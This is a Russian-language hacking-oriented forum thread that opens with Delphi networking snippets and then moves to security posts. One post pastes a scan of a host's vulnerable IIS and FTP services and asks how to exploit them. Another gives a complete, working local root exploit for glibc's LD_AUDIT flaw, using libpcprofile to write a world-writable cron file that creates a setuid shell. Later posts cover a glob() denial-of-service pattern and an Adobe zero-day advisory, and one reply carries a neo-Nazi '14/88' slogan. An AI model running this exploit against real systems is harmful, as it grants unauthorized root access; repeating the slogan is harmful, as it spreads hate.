ICQ - форум. Всё про ICQ.  

Вернуться   ICQ - форум. Всё про ICQ. > Мастерская > Программирование > Статьи

 
 
Опции темы Оценить тему
Старый 29.09.2005, 19:48   #1
Участник
 
Аватар для gemaglabin
 
Регистрация: 07.02.2005
Сообщений: 632

ICQ: 4888488

Репутация: 55
По умолчанию Учимся работать с сетью ( ftp/mail/icq/http )

РАБОТА С СЕТЬЮ


  • FTP
  • ICQ
  • IRC
  • HTTp
  • Mail
Спрашиваем\отвечаем.Все вопросы по взаимодействию с интернетов в ваших программах.Список будет пополняться новыми решениями\кодами

...Особо большой код выкладывать в аттаче...


  • FTP
Приведенная функция скачивает файл по ftp и при этом отображает прогресс скачивания.
( файл ftp.txt )




  • Хост, с которого качаем
  • Имя пользователя
  • Пароль
  • Порт
  • Директория файла
  • Имя файла
  • Имя полосы отображения прогресса


  • MAIL
Отправляем письмо из почтового клиента, используемого по умолчанию



Код:
 uses SHELLAPI;
      procedure AutoSendMail;
var
EMailDestinationString, SubjectString, Line1String,    Line2String, mailstring: string;
begin
EMailDestinationString := 'gbamber@bamber.com';  
SubjectString := 'Message Subject';  
Line1String := 'This is the first line';  
Line2String := 'This is the second line';  // Можно использовать несколько адресов, разделяя их точкой с запятой
mailstring := 'mailto:' + EMailDestinationString +    '?subject=' + SubjectString +    '&body=' + Line1String +    '%0d' + Line2String;
        if (ShellExecute(0, 'open', PChar(mailstring), '', '',    SW_SHOWNORMAL) <= 32)
then
ShowMessage('Auto method failed.');
end;  
Пишем письмо незаметно от пользователя по протоколу SMTP
(файл mail1.txt)
И еще разок незаметно (создайте как отдельный модуль)
(файл mail2.txt)
  • TCP/IP
узнаем свой айпи )
Код:
uses
  WinSock;
function GetLocalIP: String;
const WSVer = $101;
var
  wsaData: TWSAData;
  P: PHostEnt;
  Buf: array [0..127] of Char;
begin
  Result := '';
  if WSAStartup(WSVer, wsaData) = 0 then begin
	if GetHostName(@Buf, 128) = 0 then begin
	  P := GetHostByName(@Buf);
	  if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
	end;
	WSACleanup;
  end;
end;
Получаем ip из host
Код:
uses
  WinSock;
const
  WINSOCK_VERSION = $0101;
function GetIPAddress(name: string): string;
var
  WSAData: TWSAData;
  p: PHostEnt;
begin
  WSAStartup(WINSOCK_VERSION, WSAData);
  p := GetHostByName(PChar(name));
  Result := inet_ntoa(PInAddr(p.h_addr_list^)^);
  WSACleanup;
end;
Кстати можно еще вот так
Код:
function HostToIP(Name: string): String;
var
 wsdata : TWSAData;
 hostName: array [0..255] of char;
 hostEnt : PHostEnt;
 addr : PChar;
begin
 Result:= '';
 WSAStartup($0101, wsdata);
 try
   GetHostName(HostName, SizeOf(hostName));
   StrPCopy(hostName, Name);
   hostEnt:= gethostbyname(hostName);
   if not Assigned(hostEnt			 ) then Exit;
   if not Assigned(hostEnt^.h_addr_list) then exit;
   addr:= hostEnt^.h_addr_list^;
   if not Assigned(addr			    ) then Exit;
   Result:= Format('%d.%d.%d.%d', [Ord(addr[0]), Ord(addr[1]), Ord(addr[2]), Ord(addr[3])]);
 finally
   WSACleanup;
 end
end;
  • HTTP
Проверяем существование адресса
Код:
uses wininet;
function CheckUrl(url: string): boolean;
var
  hSession, hfile, hRequest: hInternet;
  dwindex, dwcodelen: dword;
  dwcode: array [1..20] of char;
  res: pchar;
begin
  if pos('http://', lowercase(url)) = 0 then
	url := 'http://'+url;
  Result := false;
  hSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if assigned(hsession) then
  begin
	hfile := InternetOpenUrl(hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);
	dwIndex := 0;
	dwCodeLen := 10;
	HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
	res := pchar(@dwcode);
	result := (res = '200') or (res = '302');
	if assigned(hfile) then
	  InternetCloseHandle(hfile);
	InternetCloseHandle(hsession);
  end;
end;
  • Dial-Up
Разорвать соединение
Код:
type
  TRasConn = record
	Size: DWORD;
	Handle: THandle;
	Name: array[0..20] of AnsiChar;
  end;
  TRasEnumConnections = function(var RasConn: TRasConn; var Size: DWORD;
	var Connections: DWORD): DWORD stdcall;
  TRasHangUp = function(Handle: THandle): DWORD stdcall;
function DisconnectDialUp: Boolean;
var
  Lib: HINST;
  RasEnumConnections: TRasEnumConnections;
  RasHangUp: TRasHangUp;
  RasConn: TRasConn;
  Code, Size, Connections: DWORD;
begin
  Result := True;
  try
	Lib := LoadLibrary('rasapi32.dll');
	try
	  if Lib = 0 then
		Abort;
	  RasEnumConnections := GetProcAddress(Lib, 'RasEnumConnectionsA');
	  if not Assigned(@RasEnumConnections) then
		Abort;
	  RasHangUp := GetProcAddress(Lib, 'RasHangUpA');
	  if not Assigned(@RasHangUp) then
		Abort;
	  FillChar(RasConn, SizeOf(RasConn), 0);
	  RasConn.Size := SizeOf(RasConn);
	  Code := RasEnumConnections(RasConn, Size, Connections);
	  if (Connections <> 1) or (Code <> 0) then
		Abort;
	  if RasHangUp(RasConn.Handle) <> 0 then
		Abort;
	  Sleep(3000);
	finally
	  FreeLibrary(Lib);
	end;
  except
	on E: EAbort do
	  Result := False;
  else
	raise;
  end;
end;
Пример использования: 
if DisconnectDialUp = true then
  ShowMessage('Соединение разорвано')
else
  ShowMessage('Не удалось разорвать соединение');
Набираем номер модемом
Код:
var
  hCommFile: THandle;
procedure TForm1.Button1Click(Sender: TObject);
var
  PhoneNumber: string;
  CommPort: string;
  NumberWritten: LongInt;
begin
  PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
  CommPort := 'COM2';
  {Open the comm port}
  hCommFile := CreateFile(PChar(CommPort), GENERIC_WRITE, 0, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hCommFile=INVALID_HANDLE_VALUE then
  begin
	ShowMessage('Unable to open '+ CommPort);
	exit;
  end;
  NumberWritten:=0;
  if WriteFile(hCommFile, PChar(PhoneNumber)^, Length(PhoneNumber),
  NumberWritten, nil) = false then
	ShowMessage('Unable to write to ' + CommPort);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  {Close the port}
  CloseHandle(hCommFile);
end;
Вложения
Тип файла: txt ftp.txt (4.0 Кб, 205 просмотров)
Тип файла: txt mail1.txt (2.3 Кб, 205 просмотров)
Тип файла: txt mail2.txt (1.7 Кб, 195 просмотров)
__________________
cup.[SU]

Последний раз редактировалось gemaglabin; 29.09.2005 в 21:48.
gemaglabin вне форума  
Старый 13.02.2006, 22:58   #2
Участник
 
Аватар для gemaglabin
 
Регистрация: 07.02.2005
Сообщений: 632

ICQ: 4888488

Репутация: 55
По умолчанию

Ап!Тема должна быть интересна многим
__________________
cup.[SU]
gemaglabin вне форума  
Старый 14.02.2006, 17:26   #3
Участник
 
Аватар для Spawn™
 
Регистрация: 03.11.2005
Сообщений: 16

Репутация: 1
По умолчанию

Ну Ап так Ап :)

вот насканикл у себя в сети

Цитата:
Работающие сервисы:
- порт 80/tcp - http
сервер WWW : Microsoft-IIS/5.1 >>>
состояние : 200 (OK)
текущие дата и время : (Sun, 05 Feb 2006 21:37:10 GMT)
формат содержимого : (text/html)
возможные HTTP запросы : (OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK)
найдена уязвимость
реальный путь к вебсерверу >>>>
http://KAMP:80/_vti_bin/shtml.dll/demon.html
найдена уязвимость
DOS-атака >>>>
http://KAMP:80/_vti_bin/shtml.dll/_vti_rpc
существующие, но недоступные директории >>>
/images/
/iisadmin/
/_private/
/_vti_bin/
/_vti_bin/_vti_adm/
/_vti_bin/_vti_aut/
/_vti_pvt/
/_vti_log/
/_vti_txt/
/_vti_cnf/
- порт 21/tcp - ftp
сервер FTP - передача файлов (работает)
Microsoft FTP Service
------------------------------------------
анонимный вход на сервер разрешен >>>
текущая директория : "/"
команда SITE доступна
возможен просмотр статистики командой SITE STATS >>>
количество использования команд с момента перезагрузки:
USER : 1
PASS : 1
RETR : 1
Windows_NT
ну немного по этому
Цитата:
USER : 1 PASS : 1 RETR : 1
пробовал зайьт под этим не получилось...


Цитата:
- порт 25/tcp - smtp
сервер SMTP - отправка почты (работает)
KAMP Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at Sun, 5 Feb 23:39:22 +0
Цитата:
- порт 7/udp - echo
сервис Echo (UDP)
состояние : <работает> >>>
- порт 13/udp - daytime
сервис DayTime (UDP)
время и дата : [23:44:15 05.02.2006] >>>
- порт 17/udp - qotd
сервис Quote of the day (UDP)
состояние : <работает> >>>
- порт 19/udp - chargen
сервис Chargen (UDP) >>>
- порт 123/udp - ntp
сервис NTP (Network Time Protocol) >>>
это я так понимаю фигня.. или нет?


вот в общем и всё... если из того что я показал можно сделать что то, то буду рад помощи
__________________
connect 4275274
Spawn™ вне форума  
Старый 08.10.2010, 14:02   #4
Археолог
 
Регистрация: 03.08.2010
Сообщений: 962

ICQ: 574454445

Репутация: 2197
По умолчанию

Уязвимость в функции glob()
Ошибка в реализации библиотечной функции glob() из стандартной библиотеки языка C (libc).
PHP код:
 Ошибка на выдачу функциизадаваемое переменной GLOB_LIMITне действует в случае задания некорректных путей в шаблонеТакими некорректными значениями могут бытьнапример«*/../*/../*foo» или «{..,..,..}/*/{..,..,..}/*bar». При этом вызов функции glob() может исчерпать всю доступную память процесса. 
.
Опасность представляет для (S)FTP-серверов, особенно с разрешенным анонимным доступом.
Уязвимости подвержены, следующие ОС: OpenBSD 4.7, FreeBSD 7.3/8.1, Oracle/Sun Solaris 10, а также все версии Linux с GLIBC.
__________________
n3kt0 и Я, разные люди! Они даже между собой не разговаривают друг о друге.


n3kt0 вне форума  
Плюсанули n3kt0 — 2 :
Старый 24.10.2010, 05:29   #5
Археолог
 
Регистрация: 03.08.2010
Сообщений: 962

ICQ: 574454445

Репутация: 2197
По умолчанию

Метод взлома, основанный на glibc.
Подвержены Linux-системы, на которых установлена glibc версии 2.4 и выше. Дистрибутивы OpenWall и Alt Linux не подвержены атаке, потому что у них установлен патч sanitize-env.
Уязвимость:
уязвимости — неправильные проверки при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлены suid/sgid. Система должна блокировать LD_PRELOAD для загрузки из нестандартных областей файловой системы (/lib, /usr/lib), но этот случай исключение. Исключение из правил для функции LD_AUDIT, наличие которых и приводит к возможности осуществления атаки.
При активации режима аудита через LD_AUDIT система связывания выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения, либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).
PHP код:
Убрав маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-"
   $ 
umask 0
Использовать стандартную библиотеку профилирования libpcprofile
входящую в комплект libc
   $ 
dpkg -/lib/libpcprofile.so
   libc6
: /lib/libpcprofile.so
   
ls -/lib/libpcprofile.so
   
-rw-r--r-- 1 root root 5496 2010-10-24 01:32 /lib/libpcprofile.so
Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя
но при этом позволяет создать лог-файлкоторый можно создать в любой системной директории
   $ 
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
   ERROR
ld.soobject 'libpcprofile.so' cannot be loaded as audit interface: undefined symbolla_versionignored.
Несмотря на вывод ошибкипроцедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл
   $ 
ls -/etc/cron.d/exploit
   
-rw-rw-rw1 root taviso 65 2010-10-24 04:22 /etc/cron.d/exploit
Как видно
права доступа на созданный файлпозволяют любому пользователю записать в него любые данныекоторые затем будут выполнены системой cron от пользователя root.
 
Например
   $ 
printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
Через пару минут наблюдаем

   $ 
ls -/tmp/exploit
   ls
cannot access /tmp/exploitNo such file or directory
   
...
   $ 
ls -/tmp/exploit
   
-rwsr-xr-x 1 root root 83888 2010-10-24 04:25 /tmp/exploit
   
$ /tmp/exploit
   
# whoami
   
root 
Исправления для Debian и Ubuntu Для других дистрибутивов заплаток, пока нет.
__________________
n3kt0 и Я, разные люди! Они даже между собой не разговаривают друг о друге.


n3kt0 вне форума  
Плюсанули n3kt0 — 2 :
Старый 29.10.2010, 19:53   #6
Археолог
 
Регистрация: 03.08.2010
Сообщений: 962

ICQ: 574454445

Репутация: 2197
По умолчанию Adobe Reader и Flash Player

Уязвимость нулевого дня
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.
Уязвимость существует из-за неизвестной ошибки, которая позволяет удаленному пользователю скомпрометировать целевую систему.
Уязвимость имеется в: Adobe Flash Player 10.1.85.3 и более ранних версиях для ОС Windows, Macintosh, Linux и Solaris.
Цитата:
-Adobe Flash Player 10.1.95.2 и более ранних версиях для ОС Android
-Adobe Reader 9.4 и более ранних версиях 9.х для ОС Windows, Macintosh и UNIX
-Adobe Acrobat 9.4 и более ранних версиях 9.х для ОС Windows и Macintosh
Уязвимости не имеют
Цитата:
-Программы Adobe Reader и Acrobat 8.x уязвимости не имеют
-Adobe Reader для ОС Android уязвимости не имеет
Идентификатор уязвимости: APSA10-05
Номер CVE: CVE-2010-3654

Решение:
Удаление, переименование или удаление доступа к authplay.dll файлу, снизит угрозу или выведет
сообщение об ошибке при открытии PDF-файла, содержащего содержимое Flash (SWF).
Authplay.dll-поставляется вместе с Adobe Reader и Acrobat 9.x
Для Windows
Файл обычно расположен в каталоге C:\Program Files\Adobe\Reader 9.0(версия может быть другой)\Reader\authplay.dll
для Adobe Acrobat C:\Program Files\Adobe\Acrobat 9.0(версия может быть другой)\Acrobat\authplay.dll
Для Linux и Solaris
Adobe Reader
Reader9/Reader/intellinux/lib/ - для Linux
Reader9/Reader/intelsolaris/lib/ - для Solaris.
Удалить библиотеку с именем "libauthplay.so.0.0.0."
Для Macintosh
Удалить или переместить файл AuthPlayLib.bundle

Рекомендации: отключить Flash Player для Adobe Reader и Acrobat.
9.11.2010 - будет выпущен патч. 15.11.2010 - ожидается обновление продуктов.
__________________
n3kt0 и Я, разные люди! Они даже между собой не разговаривают друг о друге.



Последний раз редактировалось n3kt0; 23.01.2011 в 20:29.
n3kt0 вне форума  
Плюсанул n3kt0 :
Старый 29.10.2010, 22:52   #7
 
Аватар для blitz
 
Регистрация: 24.09.2004
Сообщений: 1,610

По умолчанию

Цитата:
Сообщение от n3kt0 Посмотреть сообщение
Уязвимость нулевого дня
Authplay.dll-поставляется вместе с Adobe Reader и Acrobat 9.x
14/88 National-Socialist Зиг Яйцам !

заместо Adobe - FoxitReader. no problems, flight as usually )
blitz вне форума  
Плюсанули blitz — 3 :
 

Опции темы
Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +3, время: 19:06.


Перевод: zCarot
Форум Асечников © Asechka.RU

Новости Сочи